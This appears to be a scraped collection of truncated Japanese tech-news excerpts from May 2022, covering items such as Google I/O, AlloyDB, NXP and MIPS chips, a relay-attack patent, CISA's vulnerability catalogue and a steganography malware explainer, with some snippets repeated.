Innovative Tech： このコーナーでは、テクノロジーの最新研究を紹介するWebメディア「Seamless」を主宰する山下裕毅氏が執筆。新規性の高い科学論文を山下氏がピックアップし、解説する。 米コロンビア大学の研究チームが発表した「Real-Time Neural Voice Camouflage」は、不正なマイクが取得したユーザーの会話の言葉を正しく聞き取れないようにする攻撃を提案した論文だ。無線で妨害音を発し、自動音声認識（ASR）システムをリアルタイムに混乱させ、本来盗聴側が取得したい会話を間違った形で認識させる。80％の確率でユーザーの言葉を誤認識させられたという。 この妨害音は、その場にいるユーザーの邪魔にならないような静かな音に最適化されている。 妨害を実際に行った3つの例。攻撃していない時の音声信号スペクトログラム（上）、攻撃した際の音声信号スペクトログラム（下）

リンクスは2022年5月13日、SCADA／IIoTプラットフォーム「zenon」に関する説明会を開催した。工場やプラントの機器から製造／品質記録や情報の変更履歴などを収集し、かつ誤記や改ざんを防ぐ仕組みを提供することで、データインテグリティを担保する。 リンクスは2022年5月13日、SCADA（Supervisory Control And Data Acquisition）／IIoT（産業用IoT）プラットフォーム「zenon」に関する説明会を開催した。工場やプラントの機器から製造／品質記録や情報の変更履歴などを収集し、かつ誤記や改ざんを防ぐ仕組みを提供することで、データの完全性や正確性（データインテグリティ）を担保する。 デジタル化で製造／品質データの改ざん防ぐ zenonはオーストリアのCOPA-DATAが開発、提供するソフトウェアプラットフォームで、製薬業界を中心に世界中で使用

NXP Semiconductors（以下、NXP）は2022年5月3日（オランダ時間）、ギガビットTSN（Time Sensitive Networking）スイッチを搭載したクロスオーバーMCU「i.MX RT1180」を発表した。 NXP Semiconductors（以下、NXP）は2022年5月3日（オランダ時間）、ギガビットTSN（Time Sensitive Networking）スイッチを搭載したクロスオーバーMCU＊）「i.MX RT1180」を発表した。それに伴い、NXPの日本法人であるNXPジャパンは同年5月13日、記者説明会で「i.MX RT1180」の詳細を紹介した。 ＊）クロスオーバーMCUとは、MCUとMPUの“ギャップを埋める”ことをコンセプトにNXPが開発した製品で、同社はこれを「i.MX RTシリーズ」として展開している。 i.MX RT1180は、NX

RISC-Vに舵を切ったMIPS、新型コア2製品を発表：高性能プロセッシングを狙う（1/2 ページ） MIPSが2022年5月、高性能プロセッシングをターゲットとするRISC-Vベースの新製品を発表し、大きな注目を集めている。同社にとって初となるRISC-VベースのマルチプロセッサIP（Intellectual Property）コア「eVocore P8700」と「eVocore I8500」を提供するという。 MIPSがRISC-Vベースのコアを発表 MIPSが2022年5月、高性能プロセッシングをターゲットとするRISC-Vベースの新製品を発表し、大きな注目を集めている。同社にとって初となる、RISC-VベースのマルチプロセッサIP（Intellectual Property）コア「eVocore P8700」と「eVocore I8500」を提供するという。 MIPSは、「eVoc

Google I/O 2022で見逃しちゃってたかもしれないアレコレ7つ #GoogleIO20222022.05.17 15:008,040 Florence Ion - Gizmodo US ［原文］ （ そうこ ） Pixel 6aしか目に入っていなかったので。 例年以上にハードが盛り上がった印象のある今年のGoogle I/O 2022。開催から興奮の週末を経て、月曜日のバタバタも終わって、さーてあと何があったけ？な人向けに、小ネタというには失礼ですが、見逃しちゃってたかもという発表をまとめました。基調講演ではサラっと触れ、開発者向けセッションでじっくり解説されたものも多くあります。 Android 13ベータ版 ver. 2Photo: Florence Ion - Gizmodo USAndroid 13のベータ版がリリースされたのは先月ですが、すでにver. 2が配布スタート

日本Nrealがドコモとauから販売を開始したARグラス「Nreal Air」のレビューをお届けします。 スマートフォンと接続して使用する、サングラスタイプのARデバイス。約79gと軽量で、メガネケース状のケースに入れて手軽に持ち運ぶことができます。 内側にハーフミラーを搭載し、フレームから下向きに投射する映像を、メガネから見る現実世界に重ねて表示できる仕組み。光学系は非常にコンパクトで、通常のサングラスとほとんど変わらない装着感で使えるのが印象的です。 左右のテンプル（つる）にスピーカーを搭載。右側のテンプルには画面をON/OFFするボタンと画面の輝度調節ボタンを搭載します。 左側のテンプルの端はUSB Type-Cポートになっていて、付属のUSBケーブルでスマートフォンに接続、専用アプリ「Nebula」を起動することで利用できます。「Galaxy S21 5G」「Xperia 1 II

アッペンジャパンは、「Appen AI Data Annotation Platform」の日本市場での提供開始を発表した。 同プラットフォームは、企業の人工知能（AI）に対する取り組みを強化することを目的としたデータアノテーションプラットフォーム。ラベル付けされたAIトレーニングデータのサプライチェーンの構築と、それによってAIモデルの継続的な改善と開発を可能にする。トレーニングデータとはAIモデルや機械学習アルゴリズム（MLA）が適切な判断を導くことができるように意味付け（ラベリング）されたデータのこと。 同プラットフォームを利用することで、全世界100万人以上からなるヒューマンインテリジェンスと最先端のモデルを組み合わせ、機械学習プロジェクト向け最高品質のトレーニングデータの作成が可能になる。 同プラットフォームの主な構成要素は、プロジェクト管理、リソース管理、アノテーションツールセ

Google I/O 2022でPixel 6aを発表するSonyia Jobanputra氏 先日行われたI/O 2022の基調講演で、Googleは待望されていたPixelスマートフォンの廉価モデル「Pixel 6a」を発表しました。これは、2021年10月に発売されたフラッグシップである、Pixel 6とPixel 6 Proの兄弟機となります。 Pixel 6シリーズの主な革新は、非常にエレガントな新デザインとGoogleの独自SoC「Tensor」です。この新チップセットの採用は、Googleという巨大企業が、QualcommのSnapdragonへの依存をやめることを可能にする大胆な動きでした。 Pixel 6aは、前モデルであるPixel 5aと同価格帯のわずか53,900円で発売されましたが、より高価なPixel 6/Pixel 6 Proに搭載されていたのと同じTenso

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます Qualcomm Technologiesはロボティクス市場で大きな一歩を踏み出そうとしている。同社は「Qualcomm 5G Summit」イベントで新たなロボティクスプラットフォーム「Qualcomm Robotics RB6 Platform」を発表した。次世代の自律型製品として、5Gやエッジでの人工知能（AI）技術を活用した自律型モバイルロボット（AMR）やドローンを開発するためのオフザシェルフ型の開発者向けキットだ。 現実的に見た場合、このプラットフォームはAMR市場や、興隆しつつある法人向けドローン市場の拡大に向けて大きな変化を引き起こす可能性がある。こうした市場は現在のところ、AMRや、オフザシェルフ型のドローンソリューシ

EdTechZineオンラインセミナーは、ICTで変わりつつある教育のさまざまな課題や動向にフォーカスし、最新情報をお届けしているWebメディア「EdTechZine（エドテックジン）」が主催する読者向けイベントです。現場の最前線で活躍されているゲストの方をお招きし、日々の教育実践のヒントとなるような内容を、講演とディスカッションを通してお伝えしていきます。

高度なリソグラフィ技術により作製した柔軟な基材と貫通型マイクロニードルを備えたブレインコンピュータインターフェースが開発された。カリフォルニア大学サンディエゴ校とボストン大学の共同研究であり、2022年2月25日付で「Advanced Functional Materials」に掲載された。 ブレインコンピュータインターフェースとは、脳の神経活動を計測して人の思考を読み取り、機械を動かす装置だ。重度肢体不自由者の人たちの意思伝達装置として期待されている。 貫通型マイクロニードルを備えた既存のブレインコンピュータインターフェースの最適な標準装置として「Utah Array」が知られる。Utah Arrayは、脳卒中患者や脊髄損傷者を助けることが実証されている。Utah Arrayを埋め込んだ人は、ロボットの手足を制御し、物を動かすといった日常生活を取り戻せる。しかし、Utah Arrayの基

最近の自動車は、特別な電波を発するスマートキーに対応しており、キー側のボタンを押すことなく自動車を解錠したり、エンジンを始動したりできる。スマートキーを鞄やポケットに入れたまま解錠できて便利だ。ただし、この電波を中継する「リレーアタック」という手口が使われると、持ち主が離れているときに自動車を盗まれてしまう。 これに対し、Ford Motor傘下企業のFord Global Technologiesはスマートキーの位置情報などを確認するリレーアタック防止技術を考案。この技術を米国特許商標庁（USPTO）へ出願したところ、米国時間5月5日に「SYSTEM FOR PREVENTING VEHICLE KEY FOB RELAY ATTACKS」（公開特許番号「US 2022/0139129 A1」）として公開された。出願日は2020年10月29日。 この特許は、スマートキーと自動車の位置関係

米Googleは、コミュニティイベント「Google I/O」において、エンタープライズデータベースワークロードを最新にするための強力なオプションを提供する、フルマネージドのPostgreSQL互換データベースサービス「AlloyDB for PostgreSQL」のプレビューを、5月12日（現地時間）に発表した。 AlloyDB for PostgreSQLのパフォーマンスは、標準構成のPostgreSQLと比較して、トランザクションワークロードでは4倍以上高速であり、分析クエリでは最大100倍の高速性能を実現している。また、Amazonの同等のサービスと比較して、トランザクションワークロードが2倍高速だった。 AlloyDB for PostgreSQLは、Googleにおけるスケールアウトコンピューティングとストレージ、業界をリードする可用性、セキュリティ、AI／機械学習を活用した管

本稿の後編は、インフラエンジニアのための、データ活用基盤検討ガイドライン（後編）となります。 はじめに G-genの杉村です。この記事では、データ活用基盤について、導入の検討の進め方や参考アーキテクチャをご紹介します。 当記事の想定読者は、これまでデータの扱いに深く関わったことのないインフラエンジニアの方や、事業会社の情報システム部の方です。 記事後半の「スキルセット」の項でも触れますが "データエンジニアリング" のスキルを持った人材は日本全体で不足しています。「これからデータ活用基盤の導入検討をしなければならない。しかし社内にデータサイエンティストやデータエンジニアはいないし、採用の見込みも立たない」というケースは、今やごく一般的です。 そのようなとき、既に社内にいる人材... インフラエンジニアが検討を主導する場面も多くなるはずです。当記事は、そのような方々に参照していただけることを

会議や講演会に参加した時にPCを持ち込んでメモをとることも多くあります。そうした機会に書き溜めたノートは意外と整理が大変です。しかし「★」や「＠」など自分で決めた印をつけておけば、後から記録を抽出が簡単になります。今回は、長文テキストデータの中から印を付けた文だけを抽出するプログラムを作ってみましょう。 テキストから★印のついた行だけピックアップするツールを作ろう 会議中のメモを数倍便利にする工夫 皆さんは、会議や講演会のノートをどのようにとっているでしょうか。紙やタブレットのノートに手書きという方も多いと思いますが、PCに直接テキストを入力して、メモをとっているという方も多いでしょう。ペンで手書きする方が記憶に残るという方もいるので、一概にどの方法が良いということはありませんが、最初からテキストで入力しておくと、後から検索することができたり、カレンダーにコピー＆ペーストできたりと何かと便

「スケールアウトできる『PostgreSQL』」――Yugabyte Japanに聞く「分散SQLDB」のメリット：「Distributed SQL Summit Asia」の模様をレポート なぜ「分散SQLDB」が注目を集めているのか。日本国内における分散SQLDBの普及に注力しているYugabyte Japanに「分散SQLDB」とその利点を伺いました。記事後半では2022年3月に開催されたアジア圏向けイベント「Distributed SQL Summit Asia」の内容を紹介します。 本連載第4回では、DBエンジニアの祭典「db tech showcase」のイベントレポートをお届けしました。同イベントで多くのデータベース（DB）が紹介された中でも、分散DBのトピックが注目を集めている印象を受けました。 そこで今回は、日本国内における分散SQLDBの普及に注力しているYugabyt

連載目次 本稿ではGoogle Colaboratory（以下、Colab）に搭載されている機能の中で、あまり知られていないと思われるものを厳選して、スクリーンキャプチャ中心で紹介する。以前に「Google ColabユーザーのためのTipsトップ10」という記事を公開しているが、本稿はその第2弾という位置付けになる。 ※本稿を執筆するに当たって、公式YouTube動画「Google Colab features you may have missed（見逃しがちなGoogle Colabの機能）」と公式Twitterアカウント「@GoogleColab」の内容を参考にした。 1. インタラクティブ・テーブル（Interactive Table）による表データ探索 Pythonデータ分析ライブラリー「pandas」のデータフレーム（DataFrame）を使って表データを扱う場合、Colab

Windows 11で自動サインインを設定する ［ユーザーアカウント］ダイアログを開き、「ユーザーがこのコンピューターを使うには、ユーザー名とパスワードの入力が必要」のチェックを外すと、自動サインインに設定できる。ただし、このチェックボックスが表示されない場合がある。その場合の対処方法も紹介しよう。 自宅のPCの場合、わざわざパスワードやPINを入力するのが面倒、ということもあるだろう。また、受付に置いたPCや会議室の共有PCなどの場合、更新プログラムの適用で再起動が実行されると、サインイン画面となってしまい、担当者がパスワードを入力しなければならず面倒だ。 このような場合、セキュリティ的には望ましくないが、起動時のパスワード入力を省いて、常に指定したユーザーで自動的にサインインするように設定するとよい。 本Tech TIPSでは、Windows 11で自動サインイン（自動ログオン）を設定

The Linux Foundation Japanは2022年5月12日、調査レポート「The State of Software Bill of Materials and Cybersecurity Readiness」の日本語版「SBOM（ソフトウェア部品表）とサイバーセキュリティへの対応状況」を公開した。Webページからダウンロードできる。 この調査レポートは「ソフトウェアサプライチェーンを保護するための課題と機会について理解を深める研究プロジェクトの第1弾」としてLinux Foundation Researchが、SPDX（Software Package Data Exchange）やOpenChain、OpenSSF（Open Source Security Foundation）と協力して作成した。企業におけるSBOMの準備・採用の度合いと、オープンソースエコシステム全

GitHubは2022年4月22日（米国時間）、「GitHub」を使ってより安全なソフトウェアを作成する5つの方法を公式ブログで紹介した。 「GitHubには、安全なソフトウェアの作成と提供を容易にするネイティブツールや機能が多数用意されている」と、同社は述べている。これらを使う、以下の5つの方法によってワークフローにセキュリティを組み込めば、作業速度を犠牲にすることなく、より安全なソフトウェアを簡単に作成できるとしている。 1. CodeQLをワークフローに組み込む GitHubの静的コード解析エンジン「CodeQL」は、コードをデータのように扱い、クエリ可能にする。既知のセキュリティ脆弱（ぜいじゃく）性パターンに対応したオープンソースソフトウェア（OSS）のクエリライブラリを使用してコードをスキャンし、潜在的な問題を特定する。 GitHubのCI/CD（継続的インテグレーション／継続的

2021年10月20日からマイナンバーカードを健康保険証として利用できるようになった。ただ、ニュースで見聞きしたことはあるがそのメリットがよく分からず、いままで通りに健康保険証を持ち歩いている人が大半だろう。かくいう筆者もその一人だ。 しかし、マイナンバーカードの普及促進などを目的とした「マイナポイント」第2弾では、健康保険証としての利用申込みをすると7500円分のポイント付与が受けられる。せっかくマイナンバーカードを持っているのであれば、このポイントはぜひゲットしたい。そこで、今回はマイナンバーカードを健康保険証として使うメリット・デメリットとともに、手続き方法を紹介しよう。 2023年2月末までに健康保険証としての利用申し込みをすれば7500円分のポイントがもらえる。 ただし、健康保険証としての利用にはいくつかの課題もある マイナンバーカードは転職＆引越し後もすぐに使える！ まずは、マ

楽天グループ（楽天）は、運営するフリマアプリの「楽天ラクマ」で、フルタイムシステム（フルタイム）が運営する宅配ボックス「フルタイムロッカー」が設置されているマンションに住んでいる出品ユーザーが自宅から商品を発送できるサービスを、5月16日に提供開始した。 楽天ラクマは、出品ユーザーの利便性を高めることを目的にコンビニエンスストアなどと連携して、発送手続きや手間を軽減するための取り組みに注力してきた。今回のサービスでは、外出せずにフルタイムロッカーが設置されたマンション内で発送手続きが完了するため、商品発送の手間を更に軽減できる。 利用方法は、楽天ラクマのアプリ上で商品を出品する際に、配送方法で「かんたんラクマパック（ヤマト運輸）」を選択し、商品が売れた際の発送場所を出品ユーザーが「フルタイムロッカー」に指定することで同アプリ上に表示される受付番号、受付パスワードを「フルタイムロッカー」に入

ボタン電池、コイン電池の種類が増殖中 身の回りで使われる電池の種類は多いものです。とくに、ボタン電池やコイン電池と呼ばれるタイプは、家電量販店や100円ショップでもズラリと並び、「あっ、どれを買うんだか、わからなくなった……」なんて経験はないでしょうか。 サイズや形がボタンやコインに似ていることから、その名前で呼ばれるボタン／コイン電池。昔は「水銀電池」と呼ばれていました。水銀が有害金属であることから、日本では1995年に生産中止になり、現在はリチウム、アルカリ電池がこのジャンルの主流になっています。 ボタン／コイン電池は、車のリモコンキーや腕時計から、PCのマザーボードまで、多様に使われているのはご存知の通りです。しかし、問題は、その種類が多すぎること。買いに行くときに、スマホのカメラで型番を撮影していく方も多いのではないでしょうか。 このボタン／コイン電池の記号、複雑に見えますが、じつ

iPhoneのiMovieで、動画を選んで数回タップするだけで簡単、手軽に「いい感じの動画」が作れるようになりました 誰でも簡単に動画が作れるアップル純正アプリ「iMovie（アイムービー）」に4月12日、新機能が追加されました。iMovieはiPhone、iPad、Mac、すべてのデバイスで使える動画編集アプリケーションですが、今回のアップデートで注目したいのはiPhoneを使った動画制作。特にiPhone 13シリーズユーザーにオススメです。 まず試してほしいのは、マジックムービー機能。カメラロールから動画や写真を選んで数回タップするだけで、素敵な動画が作成できます。アップルのサイトでは「タイトル、トランジション、音楽を含むオリジナルビデオを瞬時に作成して共有できる」と紹介されていますが、ではやってみましょう。 iMovieで簡単にVlogを作る手順 動画が生成されるので、タイトルの表

グーグル・クラウド・ジャパン（Google Cloud）は2022年5月12日、PostgreSQLとの完全互換性をうたうフルマネージドデータベース（DB）サービス、「AlloyDB for PostgreSQL」（プレビュー。以下、AlloyDB）を発表した。 オープンソースDBであるPostgreSQLとの互換性を維持しつつ、DBに最適化されたストレージアーキテクチャを採用して構築、さらにAI／機械学習による最適化なども適用することで高速化を実現している。さらにSLA 99.99％（予定）の高可用性、リニアなスケーラビリティ、AI／機械学習による運用管理の自動化なども特徴とする。 同日の記者説明会では、AlloyDBの特徴や高速化を実現できた技術背景、Google Cloudが提供する他のマネージドDBサービスとの違い、国内の早期導入顧客による評価、さらにデータベースのクラウド移行を支

デジタライゼーションは、デジタイゼーションやDX（デジタルトランスフォーメーション）と比べられることが多いようです。いずれもDXの3段階のひとつであるため区別しにくいかもしれませんが、デジタライゼーションはDXやデジタイゼーションとは定義が異なります。 ここではデジタライゼーションの概要と、デジタイゼーションやDXとの違いについて説明します。 【資料ダウンロード】DX推進へ！業務改善事例はこちら デジタライゼーションは、デジタル技術を利用して業務プロセスやビジネスモデルを変化させ、新たな価値を生み出すものです。アメリカの調査会社ガートナー社の用語集“ Gartner Glossary”では、デジタライゼーションを次のように定義しています。 Digitalization is the use of digital technologies to change a business model

4月21日に開催された「Java on Azure Day 2022」では、Azure上でのJava開発を支援するためのイベントだ。マイクロソフトのJavaへの取り組みを解説した基調講演に続いてはヴイエムウェア、IBM、レッドハットのパートナー3社がセッションを披露。クラウドネイティブでのJava活用を支えるSpring、Open Liberty、Quarkus・KEDAについてわかりやすく解説した。 Springで複雑なJavaをシンプルに！ パートナーセッションの一番手に登壇したのは、ヴイエムウェア デベロッパーアドボケートである柳原伸弥氏。仮想化基盤やインフラのイメージが強いヴイエムウェアだが、柳原氏は一貫してアプリケーション開発畑を歩んできた。ボリューム多めの資料を用意し、「2度見がオススメ」と中身をぎゅっと詰め込んできたようだ。 柳原氏が最初にアピールしたのは、マイクロソフトのJ

今回はIntel Visionの話でも、と思ったのだがオンラインでの情報配信は5月18日からと発表の1週間遅れになっており、現時点では基調講演くらいしか説明する内容がないので後送りにさせていただき、AIプロセッサーの話をしよう。Linley Spring Processor Conference 2022で発表されたTetraMemのmemristor（メモリスタ）だ。 メインメモリーだけで演算処理を行なう高速化技術 In-Memory Computing AI処理の効率化、というテーマでのアーキテクチャーの提案はいろいろあることについてはこれまでいくつか紹介してきたが、その1つにIn-Memory Computingがある。 要するにメモリーと演算器が別々に置かれており、かつ演算にあたっては「メモリーからデータを取り出す」「演算結果をデータに格納する」にそれぞれ無駄に消費電力がかかる(デ

仕事で使えるビジネス版LINEである「LINE WORKS」（ワークスモバイルジャパン）の連載では、アカウント作成の基本からビジネスシーンでの活用術、便利なTipsなどを紹介していく予定。第80回は、5月に正式提供開始となる「LINE WORKS」上から宅急便の発送手続きができる機能について解説する。 ヤマト運輸と連携！　宅急便配送が便利になる LINE WORKSはヤマト運輸と連携して、トークから宅急便を送るための機能を実装する実証実験を2022年3月から行なっていた。5月12日に正式提供がスタートしたが、一足早くベータ版を利用できたので、そのレポートを紹介しよう。 外出先や出張先、在宅勤務中などオフィス外やイベント会場から荷物を配送発送する場合、配送会社の営業所やコンビニエンスストアへ荷物を持っていき、送り状に手書きで発送先住所や名前を記入し、料金の支払い、領収書を受領する。そして、そ

こんにちは、CRE (Customer Reliability Engineer) の加納(ニックネーム: Kanu)です。 ソラコムの CRE チームは「SORACOM を利用する上でのお客様の不安をゼロにすること」をミッションに、お客様サポートやドキュメントの拡充に努めています。また、多くのお客様のナレッジとできるよう、いただいたお問い合わせを基にした SORACOM サービスの活用方法や利用時の注意点、更新したドキュメントなどについて不定期に紹介しています。SORACOM サービスのご利用にあたって気付きになれば幸いです。 今回は、オンデマンドリモートアクセス「SORACOM Napter」の TLS オプションについてご紹介します。 SORACOM Napter とは お客様より、インターネット側からIoTデバイスへSSH等によるリモートアクセスを目的に「SORACOM の IoT

子供がハイハイで家中を動き回るようになりました。 仕事と子育てで毎日必死で夜は気絶しそうな時もありますが、プライベートでもちょっとだけ技術寄りのことがしたくなり、朝早く起きて30分～1時間くらい手を動かしていることがあります。 こちらのTech BlogはマルチポストOKということで、自分用のブログを構築してみようかなと思い立ったわけですが、限られた時間でブログを動かすならどんな手段が良いかな？と考えてみました。 Case1: WordPressを使う 実績のある仕組みで検討対象に上がってくると思いますが、これはちょっと厳しい印象です。 やれることはいろいろあるのは良いですが、限られた時間でセキュリティ面を守りながら運用するのは難しいんじゃないかと思います。 運用面を考えると、できるだけAPIが公開されない仕組みを使いたいです。 Case2: ブログ用のサービスを使う これは「アリ」ですね

5月半ばになり、Googleはユーザーが非営利目的で利用する限り、今まで使い続けてきた従来の無償版 G Suiteを利用できるようにすることを決定した。 サポートページには、ビジネス目的で利用する場合、「従来の無償版G Suiteは2022年6月27日以降ご利用いただけなくなります」と書かれている。 従来の無償版G Suiteを非営利目的で使用している場合、「Google Workspace」への移行を無効にできると説明されている。「その場合も、引き続きカスタムドメインでGmailをご利用いただけるほか、『Googleドライブ』や『Google Meet』などの料金のかからないGoogleサービスへのアクセスが可能です。データとご購入いただいたサービスも保持されます」（Google） ユーザーが何も対応しなかった場合、アカウントは8月1日に停止される。それ以降、Workspaceにアップグ

5月半ばになり、Googleはユーザーが非営利目的で利用する限り、今まで使い続けてきた従来の無償版 G Suiteを利用できるようにすることを決定した。 サポートページには、ビジネス目的で利用する場合、「従来の無償版G Suiteは2022年6月27日以降ご利用いただけなくなります」と書かれている。 従来の無償版G Suiteを非営利目的で使用している場合、「Google Workspace」への移行を無効にできると説明されている。「その場合も、引き続きカスタムドメインでGmailをご利用いただけるほか、『Googleドライブ』や『Google Meet』などの料金のかからないGoogleサービスへのアクセスが可能です。データとご購入いただいたサービスも保持されます」（Google） ユーザーが何も対応しなかった場合、アカウントは8月1日に停止される。それ以降、Workspaceにアップグ

PR Table 企業カルチャーを体現した取り組みやリリースを募集し記事化 「働く人」から企業の魅力を伝える広報・PR支援サービス「talentbook」を運営する株式会社PR Table（住所：東京都千代田区、代表取締役：大堀海　以下、当社）は、この度talentbook編集部を本格始動し、学生・ビジネスパーソン向けのオリジナル記事の提供を開始しました。 それに伴い、talentbookをご利用されていない企業様からも、企業の魅力やカルチャーを体現した「働き方」や「ユニークな社内制度・福利厚生」等の取り組みやリリースを募集いたします。 talentbook編集長 利根川のコメント talentbookは自分に合った「働く人」のストーリーに出会えるメディアです。企業のストーリーやノウハウが毎月、100本ほど公開されています。 そうした企業が発信する「働く人」の濃密な情報と、読者とのより良い

昨今のWeb開発ではさまざまなライブラリを利用してアプリが開発されます。その際、汎用的なライブラリであれば、敢えて自分のサーバーに配置せず、CDNを活用することも多いものです。今回は無料のCDNを利用して自作のJavaScriptライブラリを配布する方法を紹介します。また、無料CDNを使う場合に大切な改ざんチェックの方法なども紹介します。 CDNとは何か 多くの便利なJavaScriptライブラリがCDNを利用して配信されています。自前のサーバーにそのライブラリをコピーして配信するよりも、CDNを使った方が高速にライブラリを配信できます。なぜでしょうか。最初にCDNについて紹介します。 CDNとはコンテンツ配信ネットワークのことです。英語のContent Delivery Networkの頭文字です。CDNを使うと、複数の地域に配置されたサーバーを利用して、各ユーザーに最も近いサーバーから

チュートリアルと前回までの成果物 本連載では、Windows APIを使ったウィンドウプログラミングの学習を進めるためにMicrosoftの次のチュートリアルに沿って演習を進めている。 Module 1. Your First Windows Program - Win32 apps | Microsoft Docs ただし、上記のチュートリアルに掲載されているソースコードはそのままでは本連載でセットアップした環境で実行できないので、いくらか手を入れたソースコードを用意して使っている。書き換えたソースコードは次のとおりだ（今回の説明のために、前回よりもさらに手を加えてある）。 winmain.c /* * Reference: * https://docs.microsoft.com/en-us/windows/win32/learnwin32/your-first-windows-pro

コンテナやKubernetesが年々普及しつつある。アプリケーションのモダナイズやクラウドネイティブ化のためには避けて通れなさそうだが、アプリケーション開発者からすると「できれば下のレイヤにはあまり関わりたくない」と敬遠したいのが本音ではないだろうか。アプリケーション開発者がKubernetesに苦手意識を持つ理由から、Kubernetesを意識しなくてもいいプラットフォームについてVMware デベロッパーアドボケイト柳原伸弥氏が解説する。 ヴイエムウェア株式会社 ソリューション技術本部 デベロッパーアドボケイト 柳原伸弥氏 開発者にも浸透し始めたKubernetes、成り立ちに見る難しさの原因 普段アプリケーションを開発しているエンジニアにとってコンテナは少し遠いインフラの世界の話題に感じられるのではないだろうか。しかし現実は、アプリケーション開発者にとってコンテナは身近に迫ってきてい

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 米国のサイバーセキュリティ・インフラセキュリティ庁（CISA）は、連邦政府機関に対して定められた期間内にセキュリティパッチを適用することを義務づけている、悪用の事実が確認されている脆弱性のリストから、特定の脆弱性を除外するという異例の措置を取った。 CISAは、Microsoftが2022年5月のセキュリティパッチで対応した脆弱性「CVE-2022-26925」の修正プログラムを、「既知の悪用された脆弱性カタログ」（KEV）から一時的に除外すると発表した。CISAによれば、Microsoftが2022年5月10日に公開したマンスリーロールアップを、ドメインコントローラーとして使用されている「Windows Server」に適用すると、認

株式会社インターパーク 着信を曜日別・時間指定で1週間分登録！着信をより便利に！ 「SUBLINE」「クラウドサービスサスケ」「サスケWorks」の開発・販売を手掛ける株式会社インターパーク（所在地：北海道札幌市、代表取締役：舩越 裕勝）は、『SUBLINE』より新機能「曜日別着信機能」をリリースしたことをお知らせいたします。 ■SUBLINEとは スマ―トフォンにアプリをインストールするだけで、プライベート番号の他にもう一つ、ビジネス専用の発着信可能な050電話番号が持てるサービスです。導入時のコストパフォーマンスの良さ、即日番号利用が可能な、スピーディーなサービス提供で順調に利用数を伸ばし、現在では累計契約回線数が3.4万件を上回りました。 ＜SUBLINE サイト＞ https://www.subline.jp/ 新機能「曜日別着信機能」をリリース！ 今回、新たにリリースした「曜日別

画像データの中に悪意のあるスクリプトを埋め込み、マルウェア感染を狙う手法、ステガノグラフィが組み込まれるケースが過去に起こっている。この記事ではステガノグラフィを悪用してどのように感染に至るのか。そのプロセスや、過去の事例、そしてこうした手口に対してどのような対策を講じるべきかを解説する。 ステガノグラフィとは ステガノグラフィとは、あるデータの中に別の情報を埋め込んで隠ぺいする技術を指す。この技術を応用した例として、データの著作権保護や改ざん防止に利用される「電子透かし」が挙げられる。電子透かしは画像にとどまらず、音声や映像、電子書籍などにも応用されてきた。 無形のデータに限らなければ、紙幣に対しても偽造防止のため「透かし」の技術が用いられている。外見に大きな影響を与えることなく、コピーや機械読み取りを悪用した偽造を防ぐなど、さまざまな工夫がされている。電子透かしでも同様であり、ユーザー

富士通と理化学研究所は5月17日、創薬プロセスにおける新領域の開拓と開発期間や費用の劇的な削減を目指し、スーパーコンピューター「富岳」を活用した次世代IT創薬技術の共同研究を開始したと発表した。 共同研究期間は、5月17日から2025年3月31日まで（2025年4月以降も継続予定）。 昨今、新型コロナウイルス感染症などの未知の病気に対するワクチンや新薬開発では、薬効が高く副作用が少ない中分子薬や高分子薬の開発も強化されている。中・高分子薬の創薬プロセスでは、IT活用による効率化が求められており、スーパーコンピューター富岳をはじめ、両者の創薬分野における最先端のシミュレーションおよび、コンピューティング・AI技術を融合させることで、ターゲットとするタンパク質と薬剤候補分子の未知の複合体構造の予測を可能とし、創薬プロセスにおける新領域の開拓と開発期間や費用の劇的な削減を目指した共同研究を開始す

オブザーバビリティー（可観測性）プラットフォームを提供するNew Relicは5月17日、システムの稼働時間と信頼性を維持・向上するため、サイトリライアビリティーエンジニアリング（SRE）のベストプラクティスを運用可能にする「Service Level Management（SLM）」機能の提供開始を発表した。 企業は、サービスレベル指標（SLI）やサービスレベル目標（SLO）をエンジニアチームの管理指標として観測することで、ソフトウェアのリリース頻度を上げながらも、顧客に影響がある問題の発生を抑制できる。また、SLIに付随して算出され、損失可能な信頼性や性能を示す“エラーバジェット”を用いることで、開発者、運用者、ビジネスの責任者の三者間で許容されるリスクを定量化し、攻めの開発や運用、適切なリソースの投資を可能にする。 しかし、システムから提供される大量のデータから「どのシステムデータの

オンプレミスからクラウドへの移行をはじめ、ハイブリッドクラウド環境をシームレスに保護しながら、クラウドの利点を実現します。 詳しくはこちら

オンプレミスからクラウドへの移行をはじめ、ハイブリッドクラウド環境をシームレスに保護しながら、クラウドの利点を実現します。 詳しくはこちら

オンプレミスからクラウドへの移行をはじめ、ハイブリッドクラウド環境をシームレスに保護しながら、クラウドの利点を実現します。 詳しくはこちら

画像データの中に悪意のあるスクリプトを埋め込み、マルウェア感染を狙う手法、ステガノグラフィが組み込まれるケースが過去に起こっている。この記事ではステガノグラフィを悪用してどのように感染に至るのか。そのプロセスや、過去の事例、そしてこうした手口に対してどのような対策を講じるべきかを解説する。 ステガノグラフィとは、あるデータの中に別の情報を埋め込んで隠ぺいする技術を指す。この技術を応用した例として、データの著作権保護や改ざん防止に利用される「電子透かし」が挙げられる。電子透かしは画像にとどまらず、音声や映像、電子書籍などにも応用されてきた。 無形のデータに限らなければ、紙幣に対しても偽造防止のため「透かし」の技術が用いられている。外見に大きな影響を与えることなく、コピーや機械読み取りを悪用した偽造を防ぐなど、さまざまな工夫がされている。電子透かしでも同様であり、ユーザーが使用している範囲では

株式会社Gloture (本社：東京都港区、代表取締役：CHEN JUNYI) は、「GeeGuardian」を自社のECサイト(MODERN g)にて2022年5月16日より販売開始いたします。 商品ページ https://modern-g.com/products/geeguardian ソーラー式エコ仕様、WiFi接続の屋外カメラ GeeGuardian（ジーガーディアン）は、配線工事が不要で とても手軽に導入ができる、ソーラー充電とWiFiに対応した屋外セキュリティカメラです。 ・屋外ソーラー＆バッテリー式の省エネ設計 ・WiFiでワイヤレス、iOSやAndroidデバイスで操作 ・人物検出するモーション検出 ・スターライトナイトビジョンを備えた1080pHDライブビュー ・双方向オーディオのコミュニケーション可能 ・雨などに強いIP67防塵防水仕様 自宅や別荘、個人オフィス、庭や

